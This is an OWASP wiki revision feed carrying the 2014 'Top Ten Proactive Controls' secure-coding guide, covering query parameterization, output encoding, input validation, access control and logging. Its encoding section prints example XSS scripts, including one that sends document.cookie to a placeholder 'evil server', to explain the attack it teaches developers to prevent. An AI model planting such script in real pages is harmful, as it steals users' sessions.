&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176098</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176098"/>
				<updated>2014-05-30T17:49:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
